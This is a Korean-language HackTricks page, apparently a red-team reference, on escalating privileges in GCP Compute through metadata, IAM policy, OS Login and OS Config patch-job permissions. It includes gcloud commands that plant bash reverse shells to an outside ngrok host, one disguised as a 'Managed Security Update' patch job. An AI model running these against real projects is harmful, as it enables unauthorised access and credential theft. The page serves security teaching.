GCP - Compute Privesc

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Compute

GCP에서 Compute 및 VPC(네트워크)에 대한 자세한 정보는 다음을 확인하세요:

GCP - Compute Enum

caution

인스턴스의 메타데이터를 수정해야 하는 모든 권한 상승 공격(예: 새로운 사용자 및 SSH 키 추가)을 수행하려면 인스턴스에 연결된 SA에 대해 actAs 권한이 필요합니다, SA가 이미 연결되어 있더라도!

compute.projects.setCommonInstanceMetadata

이 권한을 사용하면 인스턴스메타데이터 정보를 수정하고 사용자의 인증된 키를 변경하거나 sudo 권한이 있는 새 사용자생성할 수 있습니다. 따라서 SSH를 통해 모든 VM 인스턴스에 접속하고 인스턴스가 실행 중인 GCP 서비스 계정을 탈취할 수 있습니다.
제한 사항:

  • 기본적으로 VM 인스턴스에서 실행되는 GCP 서비스 계정은 매우 제한된 범위를 가집니다.
  • 로그인하려면 SSH 서버에 연락할 수 있어야 합니다.

이 권한을 악용하는 방법에 대한 자세한 정보는 다음을 확인하세요:

GCP - Add Custom SSH Metadata

새로운 시작 스크립트를 추가하고 인스턴스를 재부팅하여 이 공격을 수행할 수도 있습니다:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

이 권한은 이전 권한과 동일한 권한을 특정 인스턴스에 부여하며 전체 프로젝트에 대한 것이 아닙니다. 이전 섹션과 동일한 취약점과 제한 사항이 적용됩니다.

compute.instances.setIamPolicy

이러한 종류의 권한은 이전 권한으로 역할을 부여할 수 있게 해주며 이를 악용하여 권한을 상승시킬 수 있습니다. 다음은 서비스 계정에 roles/compute.admin을 추가하는 예입니다:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

인스턴스에서 OSLogin이 활성화되어 있는 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한은 없습니다.

tip

이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs 권한이 필요합니다.

compute.instances.osAdminLogin

인스턴스에서 OSLogin이 활성화되어 있는 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한이 있습니다.

tip

이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs 권한이 필요합니다.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

서비스 계정이 할당된 가상 머신을 생성하고 메타데이터에 접근하여 서비스 계정의 토큰을 훔치는 것이 가능합니다.

이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

osconfig.patchDeployments.create 또는 osconfig.patchJobs.exec 권한이 있는 경우 패치 작업 또는 배포를 생성할 수 있습니다. 이를 통해 환경 내에서 수평 이동을 하고 프로젝트 내의 모든 컴퓨트 인스턴스에서 코드 실행을 얻을 수 있습니다.

현재로서는 인스턴스에 연결된 SA에 대해 actAs 권한이 필요하지 않습니다.

수동으로 이를 악용하려면 패치 작업 또는 배포을 생성해야 합니다.
패치 작업을 실행하려면:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

패치 배포를 배포하려면:

bash
gcloud compute os-config patch-deployments create <name> ...

도구 patchy는 과거에 이 잘못된 구성의 취약점을 이용하는 데 사용될 수 있었지만 (현재는 작동하지 않음).

공격자는 이를 지속성을 위해 악용할 수도 있습니다.

compute.machineImages.setIamPolicy

컴퓨트 이미지에 대한 추가 권한을 부여하세요.

compute.snapshots.setIamPolicy

디스크 스냅샷에 대한 추가 권한을 부여하세요.

compute.disks.setIamPolicy

디스크에 대한 추가 권한을 부여하세요.

접근 범위 우회

이 링크를 따라가면 접근 범위를 우회하기 위한 아이디어를 찾을 수 있습니다.

GCP 컴퓨트 인스턴스에서의 로컬 권한 상승

GCP - local privilege escalation ssh pivoting

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기